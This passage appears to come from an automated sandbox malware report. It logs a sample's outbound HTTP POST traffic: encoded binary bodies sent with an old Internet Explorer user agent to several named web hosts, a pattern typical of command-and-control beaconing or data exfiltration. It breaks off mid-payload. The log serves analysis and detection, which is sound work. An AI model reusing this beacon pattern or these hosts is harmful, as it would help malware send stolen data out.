0M6dtEAiug1xBT5oEzDIcHPHf3koDrmYdN2O1pCwU/ghyawmav3DNYEBE5nAHPHpiKyMVM40W2qYlPv1OfiCp6dNNahjxXrOAThh5I9O8d3ueflBg9wXViu4A70/u/sHqvLpeR3LJiE5Tnwfe4O2wrv6SAzXO5eiyf9nLW/XejWKrdvD8Nezm6FavppQm3MJqpYuh4RdH12GHoTO3lhznlFOqEgn/RK/KE+3nuVyDtTCZwWKOzhmPXDkbWOsfOhyMQvIDTkSQ+vP3tBzJQvZOKcKdcfnG7VDNoB8QlbixscQYoDNOq3CXi7QZk8zDwpsCcuMGtK9DJqh8zVr1p8qeLNUsHrOmJ9uiThXnu411nHE5Mvpk9BvgXlgbupl1Pnsm4DTSBgJ2l+60ZbBPPCb9iZrsxhEF0att7cmHvljJgTWaalqyPk5hi5rnjAznE0oTKM4c3TYOHhcVR3h2hZf1lyZE8Kj45MlUAm/jBm1ZLrHm3Ze+oK4VThjiC9gezf156mh2RFCOGTcwrN9u9DK9hjtnXLLkyIj9lJnFY30vUDr5q04sxJs
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 596User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.holleman.usCache-Control: no-cacheData Raw: 33 4d 4f 6b 6e 7a 42 6e 55 56 68 36 31 4b 39 4b 51 31 42 65 4f 2b 4f 46 6f 72 6a 59 6a 65 57 6a 5a 4c 48 68 6d 68 4e 66 63 4c 59 6f 38 4a 4e 58 4d 67 65 62 74 35 43 55 64 4a 6e 63 74 73 50 78 52 6a 6c 78 50 78 44 74 2f 65 57 5a 6d 62 53 75 64 68 54 4f 6c 64 63 46 72 56 69 69 55 49 2f 4c 2b 61 77 39 75 52 4f 39 4c 63 46 54 59 2b 72 5a 74 6e 6a 4c 4c 4f 51 61 54 39 42 6e 6f 66 4b 41 33 6f 4a 41 73 34 4b 4e 65 6f 34 5a 4f 42 62 2b 4c 78 6d 4d 36 48 6f 32 6b 54 6c 4e 4f 59 33 2b 75 2b 5a 30 36 48 78 51 63 6f 46 78 31 46 35 67 6e 4d 30 67 67 6e 39 43 4a 5a 79 54 37 30 70 32 64 67 4d 71 71 72 5a 45 65 70 62 69 36 48 48 66 39 34 57 6b 77 42 54 5a 50 6e 54 74 30 76 38 4e 70 4e 72 37 70 62 55 6a 74 49 48 2f 4e 41 77 54 76 53 61 74 4c 5a 56 42 45 56 6c 58 31 67 38 6c 6f 36 53 48 4f 4a 49 4e 37 38 70 62 77 32 32 68 2b 68 7a 47 76 72 4c 75 70 39 64 31 48 33 34 4f 6a 6e 57 37 47 59 4f 78 7a 38 70 47 6e 6c 61 5a 79 4a 43 31 54 69 62 37 57 67 32 77 31 48 75 39 57 30 55 6b 48 6a 66 6a 37 50 41 2b 50 63 35 41 61 5a 34 43 48 78 48 78 74 2f 57 61 6d 70 6d 6a 51 42 70 45 35 73 54 67 34 59 51 6a 39 32 7a 39 4a 4a 68 30 31 4a 55 31 77 4b 69 4c 73 32 35 63 43 6f 77 31 74 35 4d 30 32 62 77 69 6d 58 78 75 74 36 34 68 57 63 6a 48 68 39 73 36 6c 5a 51 50 6d 53 54 57 58 33 56 78 6c 74 42 34 6c 44 4c 61 33 36 4b 66 57 33 54 6a 43 77 44 61 4d 70 6a 62 67 6c 64 77 39 4d 4f 78 4c 4e 63 53 35 65 41 65 66 70 56 50 5a 4e 78 51 39 68 30 54 37 55 35 6a 6b 72 48 53 75 34 6d 77 69 70 6c 6c 45 38 34 53 70 45 70 4e 4c 42 48 4e 66 47 74 59 41 68 51 78 77 6f 78 64 76 77 69 36 47 33 72 65 36 67 53 38 67 7a 46 35 50 38 55 69 69 6e 53 50 6a 63 4e 4c 56 6c 36 43 37 4b 38 6f 74 6c 58 75 7a 34 74 65 50 56 70 6e 4b 54 42 65 4a 4a 46 53 71 69 4c 53 59 76 79 62 4c 65 39 4d 68 4f 66 45 44 49 6a 39 6c 6e 43 58 Data Ascii: 3MOknzBnUVh61K9KQ1BeO+OForjYjeWjZLHhmhNfcLYo8JNXMgebt5CUdJnctsPxRjlxPxDt/eWZmbSudhTOldcFrViiUI/L+aw9uRO9LcFTY+rZtnjLLOQaT9BnofKA3oJAs4KNeo4ZOBb+LxmM6Ho2kTlNOY3+u+Z06HxQcoFx1F5gnM0ggn9CJZyT70p2dgMqqrZEepbi6HHf94WkwBTZPnTt0v8NpNr7pbUjtIH/NAwTvSatLZVBEVlX1g8lo6SHOJIN78pbw22h+hzGvrLup9d1H34OjnW7GYOxz8pGnlaZyJC1Tib7Wg2w1Hu9W0UkHjfj7PA+Pc5AaZ4CHxHxt/WampmjQBpE5sTg4YQj92z9JJh01JU1wKiLs25cCow1t5M02bwimXxut64hWcjHh9s6lZQPmSTWX3VxltB4lDLa36KfW3TjCwDaMpjbgldw9MOxLNcS5eAefpVPZNxQ9h0T7U5jkrHSu4mwipllE84SpEpNLBHNfGtYAhQxwoxdvwi6G3re6gS8gzF5P8UiinSPjcNLVl6C7K8otlXuz4tePVpnKTBeJJFSqiLSYvybLe9MhOfEDIj9lnCX
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.aevga.comCache-Control: no-cacheData Raw: 42 4d 65 31 78 59 34 41 77 77 33 69 77 58 43 71 47 59 35 73 72 2f 47 4d 54 6c 4b 4f 76 63 2b 73 6f 6d 45 4b 72 57 61 43 55 77 6b 44 63 31 39 74 52 4d 57 35 35 53 74 47 51 72 6d 31 75 6b 52 39 54 34 64 6a 6e 44 6d 36 7a 36 2b 74 78 4b 53 6a 72 42 44 55 64 6d 58 35 5a 34 5a 72 6d 67 37 35 41 6f 71 31 75 47 34 73 79 48 51 47 77 4a 7a 67 68 33 2b 6c 2f 71 39 67 44 33 6f 5a 6f 42 37 4e 37 4b 45 47 65 69 47 6f 65 4c 4c 46 31 69 35 7a 47 78 4f 57 39 65 65 53 70 47 63 78 2f 69 6d 62 64 61 43 78 63 33 44 57 58 51 55 45 6e 73 78 4d 41 6d 6d 4f 30 49 54 72 57 41 6b 63 65 51 44 30 78 51 6b 53 63 4f 35 68 67 4a 53 42 32 6f 4e 69 5a 61 4b 39 68 76 36 34 6b 57 41 78 41 55 75 50 78 49 76 33 43 57 35 4d 54 46 6a 7a 73 2f 33 5a 46 67 30 77 4f 36 46 36 49 74 76 66 35 30 32 44 4a 79 61 43 46 44 72 66 76 4b 4d 78 50 61 68 75 37 59 2f 61 43 61 6a 54 55 63 58 66 55 72 48 42 59 46 6e 48 6d 39 41 59 41 68 79 7a 68 31 75 6e 38 6d 73 39 65 44 4d 59 4a 64 4f 68 33 56 79 6c 7a 64 50 73 57 6d 43 50 55 71 77 65 71 6e 66 66 5a 63 6f 4e 36 75 79 39 4e 53 4e 67 35 74 41 42 30 50 4a 6a 69 57 47 34 45 50 77 47 6d 58 34 45 73 4a 32 4a 33 43 5a 7a 69 6e 47 56 69 4f 31 59 49 68 36 31 57 68 31 59 35 79 33 31 72 2b 58 4f 76 58 4b 34 41 47 6b 6f 4a 57 39 59 39 52 59 35 64 46 54 57 53 52 7a 78 2b 55 51 38 78 67 61 59 38 36 6c 6b 58 4d 46 6b 7a 71 77 37 77 64 43 75 76 4d 59 46 4f 31 57 4d 76 76 69 6b 65 6f 6f 74 36 63 68 65 76 62 38 66 33 62 69 35 77 68 78 49 36 49 4c 45 30 2f 4a 6f 79 49 79 37 58 45 76 39 30 58 52 65 35 57 39 2f 64 49 66 6e 78 33 76 7a 2b 46 6c 76 54 2f 6c 78 53 53 47 6e 47 50 5a 6a 61 61 75 6a 54 6d 4b 44 55 2b 36 69 69 4f 49 4d 79 75 51 36 75 69 59 2b 35 47 45 62 32 30 74 54 48 43 55 2f 78 70 6e 72 48 42 31 61 33 65 6d 5a 53 34 46 37 53 78 59 3d Data Ascii: BMe1xY4Aww3iwXCqGY5sr/GMTlKOvc+somEKrWaCUwkDc19tRMW55StGQrm1ukR9T4djnDm6z6+txKSjrBDUdmX5Z4Zrmg75Aoq1uG4syHQGwJzgh3+l/q9gD3oZoB7N7KEGeiGoeLLF1i5zGxOW9eeSpGcx/imbdaCxc3DWXQUEnsxMAmmO0ITrWAkceQD0xQkScO5hgJSB2oNiZaK9hv64kWAxAUuPxIv3CW5MTFjzs/3ZFg0wO6F6Itvf502DJyaCFDrfvKMxPahu7Y/aCajTUcXfUrHBYFnHm9AYAhyzh1un8ms9eDMYJdOh3VylzdPsWmCPUqweqnffZcoN6uy9NSNg5tAB0PJjiWG4EPwGmX4EsJ2J3CZzinGViO1YIh61Wh1Y5y31r+XOvXK4AGkoJW9Y9RY5dFTWSRzx+UQ8xgaY86lkXMFkzqw7wdCuvMYFO1WMvvikeoot6chevb8f3bi5whxI6ILE0/JoyIy7XEv90XRe5W9/dIfnx3vz+FlvT/lxSSGnGPZjaaujTmKDU+6iiOIMyuQ6uiY+5GEb20tTHCU/xpnrHB1a3emZS4F7SxY=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 576User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.cokocoko.comCache-Control: no-cacheData Raw: 7a 64 63 58 43 67 59 35 78 51 31 49 59 32 45 41 49 54 7a 42 46 53 6e 30 55 45 4a 6d 43 34 66 6d 6d 71 33 35 6c 35 61 7a 45 70 4a 4f 30 59 61 52 46 61 42 48 6b 31 57 61 42 62 32 56 63 32 55 55 68 32 58 75 47 30 55 52 6b 58 55 4e 69 62 76 43 53 68 52 4d 4d 31 76 4e 73 45 6a 78 2f 71 48 4b 76 56 46 61 52 51 69 78 66 48 45 34 6d 4e 50 77 56 78 42 6c 57 70 59 49 6e 64 65 4b 6a 31 46 2b 67 36 55 48 6d 36 56 51 38 50 34 49 79 56 6d 56 30 31 6a 31 58 33 51 6f 75 48 72 79 6c 63 57 49 2f 69 78 65 6b 78 64 32 48 62 39 73 4f 64 7a 63 4a 46 61 61 51 72 61 59 4b 54 2b 48 6f 70 52 35 36 2f 42 61 59 62 48 4f 4c 44 48 30 61 59 4f 71 32 76 34 30 76 72 4a 2f 62 74 38 7a 63 71 4c 58 4f 64 43 65 65 66 4d 65 72 42 63 7a 30 79 49 67 43 4a 34 51 53 56 37 68 31 5a 57 56 51 36 4d 52 55 43 34 6b 34 77 59 56 35 65 66 4e 71 4e 4a 4b 61 56 69 52 76 4c 6c 67 31 65 66 66 72 46 37 65 5a 39 4e 5a 52 34 42 76 78 49 4a 47 68 76 5a 66 4f 42 39 4b 52 41 4f 77 5a 54 50 6a 52 2f 4c 59 31 44 31 65 2f 72 42 61 61 51 69 55 4b 54 50 56 58 79 70 58 30 37 73 67 7a 4d 38 64 6c 30 66 63 52 79 68 65 43 74 49 66 30 43 4d 37 41 4c 63 4c 57 32 4b 31 68 4a 63 4c 48 56 56 42 69 54 6d 5a 2f 4c 48 6d 73 6b 41 59 4d 79 48 54 41 30 56 75 37 47 72 74 32 39 53 68 36 4f 41 72 63 38 66 36 6c 6e 69 63 6a 68 55 34 58 4f 41 63 35 32 6c 47 53 5a 53 55 45 2f 77 6a 4f 4d 7a 57 50 42 36 31 6a 34 49 38 46 32 4f 4e 58 68 61 4f 6e 79 4f 62 38 43 67 4e 2f 58 61 4e 77 5a 48 4f 4c 73 72 51 5a 70 46 4c 4f 58 63 47 42 79 55 74 6a 39 57 49 42 4e 72 63 53 74 65 78 75 4e 70 59 41 73 62 56 6a 66 7a 2b 62 7a 38 62 32 71 38 67 52 6a 50 4e 68 59 41 58 65 49 2b 6e 4f 72 69 33 49 70 36 38 52 31 64 74 69 47 46 42 67 47 4f 39 75 77 74 64 56 4b 77 75 61 48 34 6b 4b 6a 61 6f 4e 46 4d 3d Data Ascii: zdcXCgY5xQ1IY2EAITzBFSn0UEJmC4fmmq35l5azEpJO0YaRFaBHk1WaBb2Vc2UUh2XuG0URkXUNibvCShRMM1vNsEjx/qHKvVFaRQixfHE4mNPwVxBlWpYIndeKj1F+g6UHm6VQ8P4IyVmV01j1X3QouHrylcWI/ixekxd2Hb9sOdzcJFaaQraYKT+HopR56/BaYbHOLDH0aYOq2v40vrJ/bt8zcqLXOdCeefMerBcz0yIgCJ4QSV7h1ZWVQ6MRUC4k4wYV5efNqNJKaViRvLlg1effrF7eZ9NZR4BvxIJGhvZfOB9KRAOwZTPjR/LY1D1e/rBaaQiUKTPVXypX07sgzM8dl0fcRyheCtIf0CM7ALcLW2K1hJcLHVVBiTmZ/LHmskAYMyHTA0Vu7Grt29Sh6OArc8f6lnicjhU4XOAc52lGSZSUE/wjOMzWPB61j4I8F2ONXhaOnyOb8CgN/XaNwZHOLsrQZpFLOXcGByUtj9WIBNrcStexuNpYAsbVjfz+bz8b2q8gRjPNhYAXeI+nOri3Ip68R1dtiGFBgGO9uwtdVKwuaH4kKjaoNFM=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 592User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.wifi4all.nlCache-Control: no-cacheData Raw: 4f 54 35 64 69 48 66 76 56 41 31 78 4d 69 2b 30 35 6f 62 48 49 38 41 41 65 61 30 74 6c 59 57 48 6d 2f 4a 6f 4f 76 2b 47 51 75 74 68 55 6e 4f 74 43 65 37 71 2b 30 31 73 46 50 75 5a 4b 67 48 44 64 72 78 63 30 66 33 71 4c 64 77 62 35 67 36 6c 5a 6a 48 4b 58 46 4a 6d 33 48 46 4f 56 48 73 67 54 31 47 4b 33 39 39 72 66 53 51 7a 6f 57 51 68 4d 50 42 63 36 5a 4d 2b 2f 43 31 51 68 6e 36 77 6a 4c 4d 55 44 75 67 43 2b 55 47 30 41 4c 4b 6d 43 2b 59 63 6f 49 6c 31 42 41 30 69 33 4e 5a 5a 6f 4f 33 51 58 44 61 7a 47 5a 68 4a 46 70 68 73 43 5a 6d 36 54 50 30 54 30 41 43 4c 7a 42 61 57 73 31 32 34 56 52 32 42 4a 59 41 51 4b 64 39 53 63 6e 47 57 56 79 4b 78 36 4e 52 66 49 4c 2f 77 51 33 4d 47 47 61 7a 42 63 36 55 7a 6d 56 75 71 37 6a 2f 64 72 6b 75 36 49 37 39 77 32 48 62 43 38 71 50 62 30 68 55 32 6c 42 37 49 35 68 61 6b 34 56 77 4b 51 42 56 79 38 55 4a 6a 2f 38 67 78 31 61 52 2b 68 79 47 47 54 6c 57 45 4a 58 38 4a 74 5a 38 4f 72 4f 48 74 47 45 56 38 51 33 76 4c 70 35 68 70 39 6a 48 35 68 4d 4c 43 50 70 6f 37 32 75 35 52 58 2b 4a 33 4e 62 4f 41 6d 52 35 62 56 36 59 4f 54 52 4d 50 4f 55 71 78 59 57 36 51 4e 45 4b 52 6e 44 68 44 78 54 6d 71 7a 35 6d 49 56 31 42 73 74 4b 79 66 4a 68 78 47 51 52 4d 47 77 4f 51 70 33 45 57 55 41 58 6a 6e 56 76 51 63 59 30 71 62 36 54 4e 35 68 59 35 4f 54 48 45 42 73 73 66 49 5a 73 5a 46 5a 36 76 54 75 46 4b 49 4e 4d 50 73 72 2f 6a 50 47 76 30 2f 35 73 79 65 68 77 34 42 41 72 7a 37 63 6f 6f 64 43 6a 65 4e 74 47 71 7a 6f 68 36 49 4d 6c 52 42 7a 47 62 6f 39 50 6a 70 49 39 37 72 71 58 39 78 71 45 46 61 72 66 47 67 4c 74 74 4b 59 36 4d 66 33 32 49 32 72 6e 5a 50 51 59 56 50 37 46 32 6e 32 69 64 45 70 74 77 50 47 46 57 59 39 56 32 79 58 31 58 6e 4e 79 55 74 68 32 50 6f 4c 33 32 44 7a 32 66 4e 66 50 78 58 37 2b 50 54 4a 6c 39 59 4e 31 6b 3d Data Ascii: OT5diHfvVA1xMi+05obHI8AAea0tlYWHm/JoOv+GQuthUnOtCe7q+01sFPuZKgHDdrxc0f3qLdwb5g6lZjHKXFJm3HFOVHsgT1GK399rfSQzoWQhMPBc6ZM+/C1Qhn6wjLMUDugC+UG0ALKmC+YcoIl1BA0i3NZZoO3QXDazGZhJFphsCZm6TP0T0ACLzBaWs124VR2BJYAQKd9ScnGWVyKx6NRfIL/wQ3MGGazBc6UzmVuq7j/drku6I79w2HbC8qPb0hU2lB7I5hak4VwKQBVy8UJj/8gx1aR+hyGGTlWEJX8JtZ8OrOHtGEV8Q3vLp5hp9jH5hMLCPpo72u5RX+J3NbOAmR5bV6YOTRMPOUqxYW6QNEKRnDhDxTmqz5mIV1BstKyfJhxGQRMGwOQp3EWUAXjnVvQcY0qb6TN5hY5OTHEBssfIZsZFZ6vTuFKINMPsr/jPGv0/5syehw4BArz7coodCjeNtGqzoh6IMlRBzGbo9PjpI97rqX9xqEFarfGgLttKY6Mf32I2rnZPQYVP7F2n2idEptwPGFWY9V2yX1XnNyUth2PoL32Dz2fNfPxX7+PTJl9YN1k=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 532User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.maktraxx.comCache-Control: no-cacheData Raw: 4b 2f 4b 52 77 57 49 75 79 77 33 78 77 64 59 63 31 56 72 4e 61 2b 58 39 6a 46 72 79 6f 64 41 41 74 71 49 37 4d 44 54 77 31 78 41 59 37 6d 71 6c 47 43 6a 6d 79 79 6a 57 77 66 5a 79 6b 44 4c 79 59 77 6e 69 4c 78 4b 2f 31 51 74 67 74 37 4a 58 50 61 62 5a 70 65 34 4d 44 4e 35 61 55 46 6d 2b 4a 46 76 66 4b 47 44 31 62 73 42 35 58 77 50 75 57 6a 39 77 37 65 75 7a 6c 61 34 2b 34 71 69 58 7a 76 7a 74 74 57 30 6e 45 31 55 65 7a 71 49 65 73 52 59 66 4f 63 51 6f 62 64 71 45 77 55 4a 6d 74 30 41 32 70 39 64 4b 73 4b 7a 4a 2f 74 76 31 38 72 35 32 4b 73 46 34 43 4d 41 78 75 72 66 42 36 34 64 4b 58 6d 2f 69 63 53 48 34 47 2f 51 71 49 32 7a 7a 30 62 4f 68 55 49 36 67 48 73 72 6e 37 72 49 6e 4d 77 46 30 42 58 6e 4e 53 61 51 5a 64 48 56 77 42 4e 34 4c 4c 38 58 2f 52 44 2b 6c 6d 47 61 32 6a 45 76 6c 6c 41 4f 72 72 48 4b 5a 72 46 39 6c 49 6b 33 64 78 77 37 48 42 4c 45 35 6d 69 2f 55 59 46 6a 6a 46 63 45 58 6c 77 67 37 7a 59 6e 4f 63 67 42 72 6f 79 49 67 78 78 68 4f 4f 59 66 37 49 37 71 4f 73 63 74 4c 53 72 78 56 67 61 39 4e 72 49 51 70 36 59 56 4f 51 62 64 75 47 74 4a 53 69 4d 42 64 48 4c 4c 47 68 56 45 39 50 6a 67 34 37 63 4a 6c 33 63 46 53 71 31 4c 6e 57 48 5a 5a 57 77 77 56 5a 2b 79 33 72 7a 74 62 37 41 4e 2f 4f 36 39 47 51 39 37 35 4c 37 58 31 65 63 77 2b 7a 76 54 45 79 36 63 67 70 38 50 47 4e 76 51 4d 2b 32 72 2f 51 71 63 32 39 78 2b 73 7a 51 41 44 54 63 72 74 37 65 78 74 78 30 49 45 73 39 4e 67 78 57 38 57 71 70 53 42 32 79 4a 39 56 70 30 61 4e 72 50 37 78 43 4a 73 2f 78 57 78 6d 71 7a 39 38 31 59 62 75 59 78 2f 5a 42 56 79 68 59 6f 38 64 39 4d 50 63 35 65 6b 56 51 66 64 47 41 3d 3d Data Ascii: K/KRwWIuyw3xwdYc1VrNa+X9jFryodAAtqI7MDTw1xAY7mqlGCjmyyjWwfZykDLyYwniLxK/1Qtgt7JXPabZpe4MDN5aUFm+JFvfKGD1bsB5XwPuWj9w7euzla4+4qiXzvzttW0nE1UezqIesRYfOcQobdqEwUJmt0A2p9dKsKzJ/tv18r52KsF4CMAxurfB64dKXm/icSH4G/QqI2zz0bOhUI6gHsrn7rInMwF0BXnNSaQZdHVwBN4LL8X/RD+lmGa2jEvllAOrrHKZrF9lIk3dxw7HBLE5mi/UYFjjFcEXlwg7zYnOcgBroyIgxxhOOYf7I7qOsctLSrxVga9NrIQp6YVOQbduGtJSiMBdHLLGhVE9Pjg47cJl3cFSq1LnWHZZWwwVZ+y3rztb7AN/O69GQ975L7X1ecw+zvTEy6cgp8PGNvQM+2r/Qqc29x+szQADTcrt7extx0IEs9NgxW8WqpSB2yJ9Vp0aNrP7xCJs/xWxmqz981YbuYx/ZBVyhYo8d9MPc5ekVQfdGA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.jacomfg.comCache-Control: no-cacheData Raw: 42 33 7a 36 53 6f 33 33 56 6c 68 41 57 42 44 56 42 4c 4e 41 6a 45 5a 44 69 4b 76 37 35 55 75 63 45 57 46 41 4a 4d 38 34 53 56 2f 55 44 79 45 45 43 78 6d 6f 69 4c 31 44 53 71 62 62 77 79 41 69 49 76 51 52 6b 71 36 6a 37 64 59 72 5a 72 2b 77 2b 5a 4f 78 4e 32 30 49 32 57 74 78 51 30 77 4b 71 6c 44 76 72 61 61 35 44 7a 37 38 46 4a 48 72 6a 4b 50 2f 35 43 67 78 39 51 70 75 47 50 4d 48 64 43 53 72 6c 58 6c 46 63 6a 7a 57 6e 55 45 37 59 77 42 35 48 4a 74 4d 66 33 43 62 58 42 50 74 6a 52 4a 74 6e 37 51 6f 70 37 44 2f 5a 78 4e 57 39 69 6b 32 36 58 31 6c 38 74 70 76 52 35 51 39 69 2f 69 76 6d 6f 37 48 72 76 63 47 70 76 6b 75 69 4d 65 44 36 50 44 67 4b 64 4f 62 30 6c 52 5a 34 35 77 62 58 6d 75 52 51 6b 7a 36 78 65 50 7a 4c 70 48 73 64 42 78 50 6a 6c 79 70 65 33 67 62 43 77 50 2b 64 49 6f 49 4e 54 59 7a 47 31 6b 43 63 35 56 72 32 72 34 79 4e 5a 4a 55 65 48 78 70 6d 66 39 54 68 35 65 62 5a 32 4b 48 34 36 6a 32 55 73 36 71 4c 6f 73 46 70 4c 4f 47 30 4e 4c 4f 4c 33 41 71 68 34 72 4b 55 68 4d 67 44 52 30 2b 76 73 31 6e 67 65 71 31 6e 6e 63 44 71 54 63 73 62 70 41 32 6f 78 46 46 37 38 55 79 46 66 55 4f 56 4f 6a 6c 62 36 37 45 4c 52 54 73 74 6e 47 7a 2b 51 6e 58 4f 6a 6c 78 55 42 42 31 6a 6a 56 6b 48 37 75 4e 31 34 72 59 6c 51 62 58 52 37 42 6c 54 4d 4c 4e 6f 54 74 48 46 6e 2f 31 6b 4c 75 58 57 30 36 2f 67 47 7a 70 4d 64 7a 52 36 78 48 62 70 5a 54 71 70 73 38 48 4e 7a 34 53 67 34 64 2f 72 51 68 45 7a 53 79 30 69 4c 30 56 50 41 75 4b 7a 6a 62 41 4c 6a 6f 53 5a 72 63 77 53 7a 61 6f 63 6c 74 78 4c 63 5a 4a 57 77 4e 6f 37 75 56 58 33 62 54 67 71 55 4f 6b 71 6c 4a 62 69 7a 59 31 55 65 6e 4d 6f 48 43 6c 46 54 6f 76 73 70 42 6e 31 6e 48 64 31 2f 41 57 30 6b 69 54 48 6a 43 63 4b 67 66 32 71 7a 69 31 46 33 6d 34 46 74 64 76 4e 6d 50 39 6b 6c 34 3d Data Ascii: B3z6So33VlhAWBDVBLNAjEZDiKv75UucEWFAJM84SV/UDyEECxmoiL1DSqbbwyAiIvQRkq6j7dYrZr+w+ZOxN20I2WtxQ0wKqlDvraa5Dz78FJHrjKP/5Cgx9QpuGPMHdCSrlXlFcjzWnUE7YwB5HJtMf3CbXBPtjRJtn7Qop7D/ZxNW9ik26X1l8tpvR5Q9i/ivmo7HrvcGpvkuiMeD6PDgKdOb0lRZ45wbXmuRQkz6xePzLpHsdBxPjlype3gbCwP+dIoINTYzG1kCc5Vr2r4yNZJUeHxpmf9Th5ebZ2KH46j2Us6qLosFpLOG0NLOL3Aqh4rKUhMgDR0+vs1ngeq1nncDqTcsbpA2oxFF78UyFfUOVOjlb67ELRTstnGz+QnXOjlxUBB1jjVkH7uN14rYlQbXR7BlTMLNoTtHFn/1kLuXW06/gGzpMdzR6xHbpZTqps8HNz4Sg4d/rQhEzSy0iL0VPAuKzjbALjoSZrcwSzaocltxLcZJWwNo7uVX3bTgqUOkqlJbizY1UenMoHClFTovspBn1nHd1/AW0kiTHjCcKgf2qzi1F3m4FtdvNmP9kl4=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 580User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.kernsafe.comCache-Control: no-cacheData Raw: 41 69 62 77 31 67 67 68 37 51 30 6e 30 64 39 4a 53 39 42 71 70 6e 76 56 65 61 4b 51 36 47 4d 54 76 4f 54 66 61 30 4a 4f 55 37 6b 4a 55 53 47 31 4f 6c 73 34 6b 54 58 31 63 38 6e 6b 31 41 64 6a 6e 4d 43 41 42 56 70 76 50 37 4f 70 61 41 4e 68 4a 2f 2b 35 59 50 69 4c 50 31 63 70 67 78 6d 77 63 6b 66 48 33 2b 67 6a 52 39 32 38 2f 4a 75 71 53 51 35 53 64 71 2b 4e 4d 72 6c 48 66 38 6f 49 43 4a 44 67 41 2f 78 70 35 44 66 77 48 37 6b 68 50 68 64 54 42 6d 33 45 74 46 34 67 36 38 76 39 70 79 61 65 4f 79 44 72 41 68 79 59 55 2b 33 4a 49 73 51 62 2b 45 48 42 38 6f 4d 75 50 32 6b 46 4a 79 48 78 42 64 31 56 70 46 69 2f 38 7a 54 69 68 61 50 53 44 36 38 7a 53 65 6f 78 63 5a 6f 55 32 4c 32 6e 48 59 78 6a 44 63 31 68 71 62 6a 31 43 50 6b 42 2b 32 71 34 68 65 4b 76 68 32 79 6c 2f 70 51 71 70 6b 75 6b 69 64 78 4a 73 63 4b 6d 4c 66 68 45 52 74 59 42 66 62 35 50 59 7a 50 39 31 5a 4e 72 43 58 2f 51 34 30 43 4b 4a 77 4b 76 6f 68 32 4c 5a 72 48 37 64 73 74 61 30 31 47 67 68 39 53 6a 7a 77 47 77 6c 62 71 78 55 4f 62 69 6d 66 44 30 76 6c 42 31 61 56 31 70 74 74 35 79 4e 46 54 36 66 69 76 47 59 4e 4e 50 56 46 54 75 65 6b 56 51 54 4f 46 6f 36 71 44 61 75 31 62 6e 42 50 63 38 50 42 57 63 52 63 64 68 4d 64 32 66 77 32 42 69 31 65 37 4e 77 46 5a 67 5a 45 5a 4f 59 36 44 4a 56 79 61 4b 38 35 66 34 63 70 67 74 6e 46 50 74 78 4e 32 50 53 30 56 6e 4d 79 58 44 44 32 76 53 76 44 47 61 61 6f 35 74 77 2f 75 4f 53 77 34 2b 37 6e 74 77 42 74 53 34 4f 46 69 76 68 63 44 4f 6f 32 6a 73 65 71 53 53 4e 2f 73 4c 4b 34 50 46 4a 46 2b 48 51 4c 35 79 47 37 74 70 68 67 4e 68 75 6c 78 4a 75 33 2b 68 45 30 41 75 66 65 75 47 33 35 37 48 51 70 59 65 43 76 6f 6a 41 74 55 6b 38 65 70 52 57 57 76 4c 4e 4a 67 37 72 38 75 31 33 78 42 33 32 58 62 74 47 33 6b 39 57 51 3d 3d Data Ascii: Aibw1ggh7Q0n0d9JS9BqpnvVeaKQ6GMTvOTfa0JOU7kJUSG1Ols4kTX1c8nk1AdjnMCABVpvP7OpaANhJ/+5YPiLP1cpgxmwckfH3+gjR928/JuqSQ5Sdq+NMrlHf8oICJDgA/xp5DfwH7khPhdTBm3EtF4g68v9pyaeOyDrAhyYU+3JIsQb+EHB8oMuP2kFJyHxBd1VpFi/8zTihaPSD68zSeoxcZoU2L2nHYxjDc1hqbj1CPkB+2q4heKvh2yl/pQqpkukidxJscKmLfhERtYBfb5PYzP91ZNrCX/Q40CKJwKvoh2LZrH7dsta01Ggh9SjzwGwlbqxUObimfD0vlB1aV1ptt5yNFT6fivGYNNPVFTuekVQTOFo6qDau1bnBPc8PBWcRcdhMd2fw2Bi1e7NwFZgZEZOY6DJVyaK85f4cpgtnFPtxN2PS0VnMyXDD2vSvDGaao5tw/uOSw4+7ntwBtS4OFivhcDOo2jseqSSN/sLK4PFJF+HQL5yG7tphgNhulxJu3+hE0AufeuG357HQpYeCvojAtUk8epRWWvLNJg7r8u13xB32XbtG3k9WQ==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 556User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.fcwcvt.orgCache-Control: no-cacheData Raw: 6e 31 6a 76 49 57 32 51 37 77 30 4d 66 79 4b 70 5a 4c 62 4a 66 79 61 76 4e 66 56 62 49 50 58 37 38 64 2b 42 30 31 6c 56 36 58 61 53 52 45 53 54 69 64 61 65 61 6d 66 30 62 69 6d 49 55 31 4a 70 47 2f 4d 31 4f 59 50 55 33 75 45 6e 4d 67 78 4e 4e 65 39 49 49 34 68 38 31 55 41 4b 7a 7a 2f 34 4c 56 65 57 48 30 4e 61 44 36 41 6b 30 37 62 5a 38 79 42 52 37 54 4b 78 6a 79 46 4e 46 5a 65 56 31 5a 78 53 6d 61 79 4a 67 4c 6f 39 43 32 79 51 61 65 36 